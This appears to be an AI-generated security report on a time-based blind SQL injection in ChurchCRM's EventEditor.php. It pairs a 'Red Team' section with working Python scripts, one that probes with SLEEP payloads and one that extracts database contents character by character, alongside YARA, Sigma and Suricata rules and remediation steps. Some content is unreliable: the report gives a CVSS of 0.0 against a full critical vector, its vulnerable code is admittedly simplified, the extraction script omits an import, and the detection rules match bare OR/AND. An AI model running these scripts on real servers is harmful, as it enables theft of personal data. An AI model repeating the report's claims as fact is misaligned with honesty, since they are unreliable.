CVE-2024-25896

Executive Summary

CVE-2024-25896 is a critical Blind SQL Injection (Time-based) vulnerability discovered in ChurchCRM version 5.5.0. The flaw resides in the EventEditor.php file, specifically within the handling of the EID POST parameter. An unauthenticated attacker can inject malicious SQL queries that are executed with a time delay, allowing for data exfiltration without direct output. This vulnerability has a CVSS score of 0.0 in the NVD but is assessed as critical due to the potential for full database compromise. No official patch or advisory has been released by the vendor, making all instances of ChurchCRM 5.5.0 vulnerable.

Supply Chain & Package Security

ChurchCRM is a PHP-based web application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. The risk is amplified by the lack of a patch and the application's use in managing sensitive church member data, including personal and financial information.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full database read access possible.
• Integrity (I): High (H) - Data can be modified via SQL injection.
• Availability (A): High (H) - Time-based injection can cause denial of service.

Threat Level: Critical. The combination of remote, unauthenticated exploitation with high impact on confidentiality, integrity, and availability makes this a severe threat.

Deep Dive & Mechanics

The vulnerability is a classic time-based blind SQL injection. The EventEditor.php script takes the EID parameter from a POST request and directly concatenates it into a SQL query without proper sanitization or parameterization. The application uses MySQL, and the attacker can use functions like SLEEP() to introduce a time delay, confirming the injection point.

Technical Flow:

1. The attacker sends a POST request to /EventEditor.php with a malicious EID parameter.
2. The PHP code constructs a query like: SELECT * FROM events WHERE event_id = $_POST['EID'].
3. The attacker injects: 1 OR SLEEP(5).
4. If the server takes 5 seconds to respond, the injection is successful.
5. The attacker can then use conditional statements (e.g., IF(SUBSTRING(...), SLEEP(5), 0)) to extract data character by character.

Why Time-Based? The application does not display the result of the query, so the attacker cannot see direct output. Time-based injection allows data extraction by observing response delays.

Vulnerable vs. Patched Code

Vulnerable Code (ChurchCRM 5.5.0):

// EventEditor.php (simplified)
$eid = $_POST['EID'];
$query = "SELECT * FROM events WHERE event_id = $eid";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// EventEditor.php (patched)
$eid = intval($_POST['EID']);
$stmt = $conn->prepare("SELECT * FROM events WHERE event_id = ?");
$stmt->bind_param("i", $eid);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses prepared statements and input validation (casting to integer), which prevents SQL injection entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• ChurchCRM 5.5.0 running on a target server.
• Network access to the /EventEditor.php endpoint.

Exploit Script (Python):

import requests
import time

target = "http://target.com/EventEditor.php"
payload = "1 OR SLEEP(5)"

data = {"EID": payload}
start = time.time()
response = requests.post(target, data=data)
end = time.time()

if end - start > 4:
    print("[+] Vulnerable to time-based SQL injection")
else:
    print("[-] Not vulnerable")

Data Extraction Example:

import requests
import string

target = "http://target.com/EventEditor.php"
charset = string.ascii_lowercase + string.digits

def extract_data(query, length):
    result = ""
    for i in range(1, length + 1):
        for char in charset:
            payload = f"1 AND IF(SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),0)"
            data = {"EID": payload}
            start = time.time()
            requests.post(target, data=data)
            end = time.time()
            if end - start > 1.5:
                result += char
                break
    return result

# Example: Extract database version
version = extract_data("SELECT VERSION()", 10)
print(f"Database version: {version}")

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for POST requests to /EventEditor.php with abnormal EID parameters.
2. Look for patterns like SLEEP, BENCHMARK, IF, OR, AND in POST data.
3. Use WAF rules to block SQL injection attempts.

Honeypot Setup:

• Deploy a decoy ChurchCRM instance and monitor for injection attempts.
• Log all POST data to /EventEditor.php for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /EventEditor.php with EID parameter containing SQL keywords (SLEEP, BENCHMARK, UNION, SELECT).
  • Unusually long response times (e.g., > 2 seconds) for POST requests to /EventEditor.php.
• Host IOCs:
  • MySQL query logs showing SLEEP() or BENCHMARK() functions.
  • Web server access logs with EID values containing SQL syntax.
• File IOCs:
  • Modified EventEditor.php file (if attacker uploaded a webshell).
  • Suspicious files in the web root (e.g., cmd.php, shell.php).

Detection Engineering

YARA Rule

rule CVE_2024_25896_ChurchCRM_SQLi {
    meta:
        description = "Detects time-based SQL injection attempts against ChurchCRM EventEditor.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25896"
    strings:
        $sleeper = "SLEEP(" nocase
        $benchmark = "BENCHMARK(" nocase
        $sql_keywords = /(SELECT|UNION|INSERT|UPDATE|DELETE|DROP|ALTER|OR|AND)\s/i
        $eid_param = "EID=" nocase
    condition:
        $eid_param and ($sleeper or $benchmark or $sql_keywords)
}

Sigma Rule

title: ChurchCRM Time-Based SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to EventEditor.php with SQL injection patterns
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/EventEditor.php'
    keywords:
        - 'SLEEP('
        - 'BENCHMARK('
        - 'OR '
        - 'AND '
        - 'UNION'
        - 'SELECT'
    condition: selection and keywords
falsepositives:
    - Legitimate use of 'OR' or 'AND' in event IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25896 ChurchCRM Time-Based SQL Injection"; flow:to_server,established; content:"POST"; http_method; content:"/EventEditor.php"; http_uri; content:"EID="; http_client_body; pcre:"/(SLEEP|BENCHMARK|OR|AND|UNION|SELECT)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the ChurchCRM server from the internet if possible.
2. Apply a virtual patch using a WAF (e.g., ModSecurity) to block SQL injection patterns.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• Since no official patch exists, consider:
  • Manual Code Fix: Replace the vulnerable code with prepared statements as shown in the patched code section.
  • Upgrade: If a newer version is released, upgrade immediately.
  • Migration: Move to a different, actively maintained church management system.

Workaround:

• Disable the EventEditor.php functionality by removing or renaming the file if not needed.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.